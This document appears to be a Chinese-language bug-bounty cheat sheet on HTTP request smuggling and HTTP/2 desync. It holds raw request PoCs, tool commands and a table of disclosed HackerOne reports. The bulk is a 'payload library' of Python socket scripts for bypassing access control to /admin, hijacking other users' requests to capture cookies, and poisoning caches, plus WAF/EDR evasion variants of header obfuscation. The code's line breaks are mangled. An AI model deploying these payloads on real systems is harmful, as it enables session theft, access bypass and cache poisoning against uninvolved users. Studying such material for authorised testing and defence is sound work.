21 KiB
HTTP Request Smuggling / HTTP/2 Desync
视角:黑盒,目标是利用前后端解析差异
1. 一句话说清
前置代理(CDN / WAF / Nginx)和后端服务器对 Content-Length / Transfer-Encoding 解析不一致 →
攻击者把"半包"塞进流,影响下个用户的请求/响应。
SRC 价值:成功的 desync = P1/P0($2k–$10k+)。
2. 类型速览
| 类型 | 前置代理用 | 后端用 |
|---|---|---|
| CL.TE | Content-Length | Transfer-Encoding |
| TE.CL | Transfer-Encoding | Content-Length |
| TE.TE | 都看,但前后处理混淆 | 同 |
| HTTP/2 → HTTP/1 desync | h2 | h1 后端 |
| CL.0 | CL=0 后端忽略 | 后端读 body |
3. 探测手法
3.1 工具
# Burp 扩展
HTTP Request Smuggler
# 命令行
smuggler.py -u https://target -v
http2smugl quirks --target target.com:443
h2csmuggler -u https://target/ --path /admin
3.2 经典 PoC
CL.TE
POST / HTTP/1.1
Host: victim
Content-Length: 6
Transfer-Encoding: chunked
0
G
前端按 CL=6 读了 0\r\n\r\nG,后端按 chunked 看到 0\r\n\r\n 结束,剩下 G 进入下一个请求。
TE.CL
POST / HTTP/1.1
Host: victim
Content-Length: 4
Transfer-Encoding: chunked
5c
GPOST / HTTP/1.1
...
0
双 CL
POST / HTTP/1.1
Host: victim
Content-Length: 4
Content-Length: 1
GPOST...
CL.0(HTTP/2 时常见)
后端忽略 CL(POST 当 GET 处理),前端按 CL 取走 body → 走私。
h2c smuggling
h2csmuggler -u http://target/ --path /admin
# 利用 HTTP/1.1 → HTTP/2 升级让前置代理失效
4. Bypass 矩阵
| 拦 | 绕 |
|---|---|
| 标准 CL/TE 检测 | TE 大小写:Transfer-encoding、transfer-Encoding |
| TE 拦 | TE 末尾加空格:Transfer-Encoding : chunked |
| WAF 检测 | TE 值变形:chunked、chunked,gzip、xchunked |
| 标准 chunk 拦 | 0 大小 chunk 后塞数据 |
| h2 关闭 | h2c upgrade |
5. 利用提权 / 横向
1. 缓存投毒:让代理把恶意响应缓存为另一 URL
2. 跨用户访问:把 admin 端点的响应"借"给下个用户
3. 旁路 IP 限制:用走私走过 IP 校验
4. 偷 secret:让别人的请求 + 自己的响应混合
5. XSS(缓存了走私响应)
6. 真实案例指纹
- PortSwigger blog 系列(James Kettle)
- Cloudflare / Akamai 多次披露
- HackerOne H1 上 desync 报告 $5k–$30k
通用指纹:
- 同一连接发 2 个请求,第 2 个响应"看起来是别的请求的"
- 偶尔 503 / 502 / 异常 status code
- 代理日志和后端日志请求数对不上
7. 复现 / 证据要点
7.1 PoC
# 在 Burp Repeater 用 raw 模式发送下面包(保留 CRLF)
POST / HTTP/1.1
Host: target.com
Content-Length: 6
Transfer-Encoding: chunked
0\r\n\r\nG
# 立即第二个请求(同连接,Burp Repeater 同样栏)
GET / HTTP/1.1
Host: target.com
→ 第二个响应应当反映前一次走私的 'G' 前缀
7.2 CVSS
HTTP smuggling → 缓存投毒 = 8.1 High
HTTP smuggling → 旁路鉴权 = 9.1 Critical
HTTP smuggling → 跨用户 = 8.1 High
8. 不要做的事
- 禁:在生产上做大流量 desync 测试(影响他人请求)。低速、单次验证。
- 禁:把走私构造的恶意响应缓存到全站共享路径(其他用户会受影响)。在你自己的 cache key 上演示。
- 禁:实际偷取他人 cookie / token。看到 desync 现象即停。
H1 真实案例
共 38 份 HackerOne 已披露 High/Critical 报告命中本类,按 (赏金 + 投票×100) 排序取 Top 12
| Severity | $ | 程序 | 标题(点击看原报告) | 摘要 |
|---|---|---|---|---|
| High | 20000 usd | PayPal | Bypass for #488147 enables stored XSS on https://paypal.com/signin again | Bypass for #488147 enables stored XSS on https://paypal.com/signin again |
| High | 18900 usd | PayPal | Stored XSS on https://paypal.com/signin via cache poisoning | Stored XSS on https://paypal.com/signin via cache poisoning |
| Critical | — | Slack | Mass account takeovers using HTTP Request Smuggling on https://slackb.com/ to steal session cookies | Hi Slack Security Team! My name is Evan and I'm a first time bug hunter to your platform :) Because you guys were running a mon… |
| High | — | LY Corporation | Request smuggling on admin-official.line.me could lead to account takeover | Request smuggling on admin-official.line.me could lead to account takeover |
| Critical | — | Eternal | Stealing Zomato X-Access-Token: in Bulk using HTTP Request Smuggling on api.zomato.com | Intro Hi Zomato Security Team! My name is Evan Custodio and this is my first time evaluating your platform. I specialize in loo… |
| Critical | 7500 usd | Basecamp | HTTP Request Smuggling via HTTP/2 | HTTP Request Smuggling via HTTP/2 |
| High | — | Helium | HTTP request Smuggling | When malformed or abnormal HTTP requests are interpreted by one or more entities in the data flow between the user and the web … |
| Critical | 6000 usd | Cloudflare Public Bug Bounty | HTTP Request Smuggling in Transform Rules using hexadecimal escape sequences in the concat() func… | HTTP Request Smuggling in Transform Rules using hexadecimal escape sequences in the concat() function |
| High | 750 usd | GSA Bounty | HTTP Request Smuggling on https://labs.data.gov | Greetings, The application appears to be vulnerable to HTTP request smuggling due to a disagreement between the front-end and b… |
| High | 4660 usd | Internet Bug Bounty | Possibility of Request smuggling attack | Request smuggling was possible by throwing an IOException with the upper size limit of the trailer header |
| High | — | Node.js | HTTP Request Smuggling due to CR-to-Hyphen conversion | NOTE! Thanks for submitting a report! Please replace all the [square] sections below with the pertinent details. Remember, th… |
| Critical | 5000 usd | Aiven Ltd | Grafana RCE via SMTP server parameter injection | Summary: This report is similar to #1180653, except with different parameter injection entrypoint |
命中本类的 weakness 分布:
- HTTP Request Smuggling:27 条
- CRLF Injection:5 条
- Uncategorized → 手工归类:4 条
- HTTP Response Splitting:2 条
Payload 库
4 个结构化 web payload,含完整攻击链 + WAF/EDR 绕过变体
CL-TE请求走私 smuggling-cl-te
Content-Length与Transfer-Encoding走私
子类:CL-TE · tags: smuggling request http
前置条件: 目标使用多层代理;前后端处理差异
攻击链:
1. CL-TE基础 CL-TE走私
POST / HTTP/1.1
Host: target.com
Content-Length: 13
Transfer-Encoding: chunked
0
SMUGGLED
2. TE-CL基础 TE-CL走私
POST / HTTP/1.1
Host: target.com
Content-Length: 3
Transfer-Encoding: chunked
8
SMUGGLED
0
3. TE-TE TE-TE走私
POST / HTTP/1.1
Host: target.com
Transfer-Encoding: chunked
Transfer-Encoding: x
0
SMUGGLED
WAF/EDR 绕过变体:
1. TE头混淆变体 通过在Transfer-Encoding头中添加空格、制表符、换行符、多重头部、拼写变体等方式使前后端代理对该头的解析产生差异,触发请求走私
# TE头混淆(使前/后端对TE解析不一致):
Transfer-Encoding: chunked
Transfer-Encoding : chunked
Transfer-Encoding: xchunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
X: x
Transfer-Encoding: chunked
Transfer-Encoding
: chunked
2. Chunked扩展字段与CL-TE组合利用 利用HTTP Chunked编码的扩展字段(分号后内容)干扰解析,或通过CL-0技巧使前端认为请求无体而后端继续处理走私的第二个请求
# Chunked扩展字段(RFC允许的分号后扩展):
POST / HTTP/1.1
Host: target.com
Content-Length: 6
Transfer-Encoding: chunked
0;ext="injected"
G
# CL-0走私:
POST / HTTP/1.1
Host: target.com
Content-Length: 0
Transfer-Encoding: chunked
GET /admin HTTP/1.1
Host: target.com
CL-CL走私 smuggling-cl-cl
利用前端代理和后端服务器同时处理Content-Length头但对多个CL头的处理差异实现HTTP请求走私
子类:CL-CL · tags: smuggling cl-cl http
前置条件: 存在前端代理(如HAProxy/Nginx)+后端服务器架构;两端对Content-Length头的解析存在差异;理解HTTP请求走私原理
攻击链:
1. 检测CL-CL走私条件 [linux] 探测目标是否存在双CL走私条件
# 检测前端代理类型:
curl -sI "http://target.com/" | grep -iE "server:|via:|x-forwarded"
# 发送包含两个Content-Length的请求:
curl -v "http://target.com/" -H "Content-Length: 6" -H "Content-Length: 0" -d "test12"
# 观察响应:
# - 如果正常返回: 可能只解析了一个CL
# - 如果400/错误: 服务器拒绝多CL(安全)
# - 如果部分处理: 存在走私可能
2. CL-CL请求走私POC 构造包含两个Content-Length的走私请求,将恶意请求注入到后端处理队列
# Python POC - CL-CL走私
import socket
def smuggle_cl_cl(host, port):
payload = (
"POST / HTTP/1.1
"
f"Host: {host}
"
"Content-Length: 44
" # 前端使用这个CL
"Content-Length: 0
" # 后端使用这个CL
"
"
"GET /admin HTTP/1.1
" # 走私的请求
f"Host: {host}
"
"
"
)
s = socket.socket()
s.connect((host, port))
s.send(payload.encode())
resp = s.recv(4096).decode(errors="ignore")
print(resp)
s.close()
smuggle_cl_cl("target.com", 80)
3. 利用CL-CL走私绕过前端访问控制 利用CL-CL走私绕过前端代理的ACL访问限制访问/admin
# 场景:前端限制/admin访问,通过走私绕过
import socket
def bypass_acl(host, port):
# 走私请求到/admin端点
smuggled = (
"GET /admin HTTP/1.1
"
f"Host: {host}
"
"
"
)
content_length_real = len(smuggled)
payload = (
"POST / HTTP/1.1
"
f"Host: {host}
"
f"Content-Length: {content_length_real}
"
"Content-Length: 0
"
"Connection: keep-alive
"
"
"
+ smuggled
)
s = socket.socket()
s.connect((host, port))
s.send(payload.encode())
# 接收两个响应
resp = s.recv(8192).decode(errors="ignore")
print("[Response 1 - Normal]")
print(resp[:500])
resp2 = s.recv(8192).decode(errors="ignore")
print("[Response 2 - Smuggled /admin]")
print(resp2[:500])
s.close()
bypass_acl("target.com", 80)
WAF/EDR 绕过变体:
1. HTTP/2降级绕过 利用HTTP/2到HTTP/1.1协议降级时前后端对请求边界解析不一致实现走私
# HTTP/2 -> HTTP/1.1降级利用
# 前端H2后端H1时的走私
:method: POST
:path: /
:authority: target.com
content-length: 0
GET /admin HTTP/1.1
Host: target.com
# H2C升级走私
GET / HTTP/1.1
Host: target.com
Upgrade: h2c
HTTP2-Settings: <base64>
Connection: Upgrade, HTTP2-Settings
2. 连接复用操控 通过双Content-Length头值差异和keep-alive连接复用在代理链中走私请求
# 双CL值差异
POST / HTTP/1.1
Host: target.com
Content-Length: 6
Content-Length: 50
12345GPOST /admin HTTP/1.1
Host: target.com
# 利用keep-alive连接复用
GET / HTTP/1.1
Host: target.com
Connection: keep-alive
Content-Length: 0
GET /admin HTTP/1.1
Host: internal.target.com
3. 代理链混淆 利用多级代理对Content-Length头中空格和冒号处理差异实现请求走私
# 多级代理CL处理差异
POST / HTTP/1.1
Host: target.com
Content-Length: 44
Content-Length : 0
GET /admin HTTP/1.1
Host: target.com
X: 1
# 空格混淆CL头
POST / HTTP/1.1
Host: target.com
Content-Length: 0
Content-Length: 42
GET /internal HTTP/1.1
Host: target.com
TE-CL走私 smuggling-te-cl
利用前端使用Transfer-Encoding而后端使用Content-Length的差异实现HTTP请求走私
子类:TE-CL · tags: smuggling te-cl http
前置条件: 前端代理优先处理Transfer-Encoding;后端服务器优先处理Content-Length;理解chunked编码格式
攻击链:
1. 检测TE-CL差异 检测前端和后端对TE vs CL的优先级差异
# 发送同时包含TE和CL的请求:
curl -v "http://target.com/" -H "Transfer-Encoding: chunked" -H "Content-Length: 3" -d "0
"
# 使用timing检测:
# 如果后端使用CL,会等待更多数据(超时)
import socket, time
s = socket.socket()
s.connect(("target.com", 80))
payload = (
"POST / HTTP/1.1
"
"Host: target.com
"
"Transfer-Encoding: chunked
"
"Content-Length: 6
"
"
"
"0
"
)
s.send(payload.encode())
start = time.time()
resp = s.recv(4096)
elapsed = time.time() - start
print(f"Response in {elapsed:.2f}s")
# 快速响应=后端用TE, 延迟响应=后端用CL
2. TE-CL走私POC TE-CL走私:前端按chunked处理转发整个body,后端按CL只读取部分,剩余变为走私请求
import socket
def te_cl_smuggle(host, port):
# 前端(TE): 读取到"0
"结束 → 整个payload是一个请求
# 后端(CL): 只读取Content-Length指定的字节 → 剩余字节是新请求
smuggled = "GET /admin HTTP/1.1
Host: {}
".format(host)
payload = (
"POST / HTTP/1.1
"
"Host: {}
"
"Content-Length: 4
"
"Transfer-Encoding: chunked
"
"
"
"{}
"
"{}"
"0
"
).format(host, format(len(smuggled), "x"), smuggled)
s = socket.socket()
s.connect((host, port))
s.send(payload.encode())
resp = s.recv(4096)
print(resp.decode(errors="ignore")[:500])
s.close()
te_cl_smuggle("target.com", 80)
3. TE-CL走私实现请求劫持 走私不完整的POST请求,使下一个用户的请求内容(含Cookie)被反射到搜索结果中
# 利用走私劫持下一个用户的请求
import socket
def hijack_request(host, port):
# 走私一个不完整的POST请求
# 下一个正常用户的请求会被拼接为这个POST的body
smuggled = (
"POST /search HTTP/1.1
"
"Host: {}
"
"Content-Type: application/x-www-form-urlencoded
"
"Content-Length: 200
" # 大CL会吞噬下一个请求
"
"
"q=" # 下一个请求的数据会被当作搜索参数
).format(host)
chunk_size = format(len(smuggled), "x")
payload = (
"POST / HTTP/1.1
"
"Host: {}
"
"Content-Length: 4
"
"Transfer-Encoding: chunked
"
"
"
"{}
"
"{}"
"0
"
).format(host, chunk_size, smuggled)
s = socket.socket()
s.connect((host, port))
s.send(payload.encode())
print(s.recv(4096).decode(errors="ignore")[:500])
s.close()
hijack_request("target.com", 80)
WAF/EDR 绕过变体:
1. TE头大小写变体绕过 利用不同代理对Transfer-Encoding头名大小写和值处理的差异绕过TE-CL走私检测
# TE头大小写混淆
POST / HTTP/1.1
Host: target.com
Content-Length: 4
Transfer-Encoding: chunked
Transfer-encoding: identity
5c
GPOST /admin HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
# Transfer-Encoding变体
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
2. 空白字符注入 在Transfer-Encoding头中注入制表符、前导空格和CRLF字符,使不同代理解析不同
# 制表符/换行注入TE头
POST / HTTP/1.1
Host: target.com
Content-Length: 4
Transfer-Encoding:\tchunked
# 行前空格混淆
POST / HTTP/1.1
Host: target.com
Content-Length: 4
Transfer-Encoding: chunked
# CRLF注入变体
POST / HTTP/1.1
Host: target.com
Content-Length: 4
Transfer-Encoding: chunked\x0d\x0aX-Ignore: x
3. chunk扩展字段利用 利用HTTP分块传输中chunk-extension字段和非标准chunk大小格式造成前后端解析差异
# chunk扩展混淆
POST / HTTP/1.1
Host: target.com
Content-Length: 4
Transfer-Encoding: chunked
5;ext=val
hello
0
# 超长chunk扩展
5;aaaaaaa...aaaa=bbbb...bbb
hello
0
# 非法chunk大小格式
5
hello
0
# 0x前缀
0x5
hello
0
TE-TE走私 smuggling-te-te
利用前端和后端对Transfer-Encoding头的不同混淆变体的处理差异实现请求走私
子类:TE-TE · tags: smuggling te-te http
前置条件: 前后端都支持Transfer-Encoding;可以通过TE头混淆使一端忽略TE;了解chunked编码和HTTP走私原理
攻击链:
1. TE混淆变体探测 测试各种Transfer-Encoding混淆变体,寻找前后端解析差异
# Transfer-Encoding的各种混淆写法:
# 测试哪种混淆能让一端忽略TE
import socket
te_variants = [
"Transfer-Encoding: xchunked",
"Transfer-Encoding : chunked", # 冒号前空格
"Transfer-Encoding: chunked
Transfer-encoding: cow", # 两个TE
"Transfer-Encoding : chunked", # Tab分隔
"Transfer-Encoding: chunked", # Tab前缀
" Transfer-Encoding: chunked", # 行首空格
"X: x
Transfer-Encoding: chunked", # Header注入
"Transfer-Encoding: chunked", # 空字节
]
for i, te in enumerate(te_variants):
print(f"[{i}] Testing: {te[:60]}")
payload = (
"POST / HTTP/1.1
"
"Host: target.com
"
f"{te}
"
"Content-Length: 5
"
"
"
"0
"
)
try:
s = socket.socket()
s.settimeout(3)
s.connect(("target.com", 80))
s.send(payload.encode())
resp = s.recv(1024).decode(errors="ignore")
status = resp.split("
")[0] if resp else "No response"
print(f" → {status}")
s.close()
except Exception as e:
print(f" → Error: {e}")
2. TE-TE走私利用(前端忽略混淆TE) 利用TE头混淆使一端按CL、另一端按TE处理,实现走私
import socket
def te_te_smuggle(host, port, te_header):
# 前端不识别混淆的TE → 使用CL
# 后端识别混淆的TE → 使用chunked
smuggled = "GET /admin HTTP/1.1
Host: {}
".format(host)
payload = (
"POST / HTTP/1.1
"
"Host: {}
"
"Content-Length: {}
"
"{}
"
"
"
"0
"
"
"
"{}"
).format(
host,
len("0
" + smuggled),
te_header,
smuggled
)
s = socket.socket()
s.connect((host, port))
s.send(payload.encode())
resp = s.recv(4096)
print(resp.decode(errors="ignore")[:500])
s.close()
# 使用发现的有效混淆变体:
te_te_smuggle("target.com", 80, "Transfer-Encoding: chunked
Transfer-encoding: cow")
3. TE-TE缓存投毒攻击 利用TE-TE走私实现Web缓存投毒攻击
import socket
def cache_poison_via_smuggling(host, port):
# 通过走私实现缓存投毒:
# 走私的请求指向静态资源,但包含恶意响应头/内容
smuggled = (
"GET /static/main.js HTTP/1.1
"
"Host: {}
"
"
"
).format(host)
# 先发送走私请求
payload = (
"POST / HTTP/1.1
"
"Host: {}
"
"Content-Length: {}
"
"Transfer-Encoding: chunked
"
"Transfer-encoding: x
"
"
"
"0
"
"
"
"{}"
).format(host, len("0
" + smuggled), smuggled)
s = socket.socket()
s.connect((host, port))
s.send(payload.encode())
resp = s.recv(4096)
print("[*] Cache poisoned")
print(resp.decode(errors="ignore")[:300])
s.close()
cache_poison_via_smuggling("target.com", 80)
WAF/EDR 绕过变体:
1. 多重TE头混淆 发送多个Transfer-Encoding头或逗号分隔多值,利用前后端对多值TE头的优先级差异
# 多个Transfer-Encoding头
POST / HTTP/1.1
Host: target.com
Transfer-Encoding: chunked
Transfer-Encoding: identity
Transfer-Encoding: chunked
# 逗号分隔多值
Transfer-Encoding: chunked, identity
Transfer-Encoding: identity, chunked
# 混合有效无效值
Transfer-Encoding: chunked
Transfer-Encoding: cow
Transfer-Encoding: chunked
2. 非标准TE值混淆 使用非标准或被篡改的Transfer-Encoding值,使前端代理回退到CL而后端仍解析为chunked
# 垃圾TE值使某些代理忽略TE
Transfer-Encoding: xchunked
Transfer-Encoding: chunked-false
Transfer-Encoding: chunk
Transfer-Encoding: CHUNKED
# 引号包裹
Transfer-Encoding: "chunked"
# 参数附加
Transfer-Encoding: chunked; q=0.5
Transfer-Encoding: chunked, x
# 编码混淆
Transfer-\x45ncoding: chunked
3. 代理特定解析绕过 针对特定代理/服务器(HAProxy/Apache/Nginx)的TE头解析特性发送定制化走私payload
# HAProxy特定绕过
POST / HTTP/1.1
Host: target.com
Transfer-Encoding:[\x0b]chunked
# Apache特定绕过
POST / HTTP/1.1
Host: target.com
Transfer-Encoding:\x00chunked
# Nginx特定绕过
POST / HTTP/1.1
Host: target.com
Transfer-Encoding: chunked\x20
# 通用尾部空白
Transfer-Encoding: chunked